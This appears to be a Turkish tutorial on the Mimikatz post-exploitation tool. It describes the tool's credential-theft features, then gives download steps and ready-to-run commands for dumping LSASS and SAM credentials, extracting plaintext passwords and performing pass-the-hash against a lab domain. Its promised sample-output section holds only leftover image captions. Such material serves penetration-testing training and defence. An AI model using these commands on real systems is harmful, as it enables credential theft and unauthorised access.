**🧠 1. Mimikatz Nedir?**

**Mimikatz**, Windows işletim sistemlerinde çalışan bir **post-exploitation** aracıdır.  
En çok kullanıldığı alan: **Parola çıkarma ve kimlik bilgilerini ele geçirme**.

📌 Aracı ünlü yapan özellik:

* RAM’de çalışan oturumların parolalarını **açık metin (plaintext)** olarak gösterebilmesidir.

**🎯 2. Mimikatz Ne Yapar?**

| **İşlem** | **Açıklama** |
| --- | --- |
| 🔐 LSASS Dump | RAM'deki oturum bilgilerini çeker |
| 🧾 Plaintext Password | Bellekten doğrudan şifreleri gösterir |
| 🧪 Pass-the-Hash | Hash ile kimlik taklidi yapar |
| 🎟️ Pass-the-Ticket | Kerberos biletlerini kullanarak erişim sağlar |
| 🪪 Kerberos Ticket Forge | Sahte bilet üretir (Golden/Silver Ticket) |
| 🧬 Sam, System, Security dump | Offline parola veritabanını çeker |

**⚙️ 3. Kurulum (Windows Hedef İçindir)**

* Kali'den indir:

wget https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz\_trunk.zip

unzip mimikatz\_trunk.zip

* Hedef Windows makineye taşı (SMB, HTTP veya fiziksel erişimle)

**🖥️ 4. Mimikatz Temel Kullanım Komutları**

**✅ Aracı başlat:**

mimikatz.exe

**✅ Admin haklarını doğrula:**

privilege::debug

**✅ Bellekten parola çıkarma (en çok kullanılan):**

sekurlsa::logonpasswords

**✅ SAM veritabanını dump et:**

lsadump::sam

**✅ LSASS dump dosyasından analiz yap:**

Önce LSASS dump alın (ProcDump veya Task Manager ile), sonra:

sekurlsa::minidump lsass.dmp

sekurlsa::logonpasswords

**✅ Hash ile kimlik taklidi (Pass-the-Hash):**

sekurlsa::pth /user:admin /domain:lab.local /ntlm:<HASH>

🧪 5. Örnek Terminal Çıktısı

metin, yazı tipi, ekran görüntüsü içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.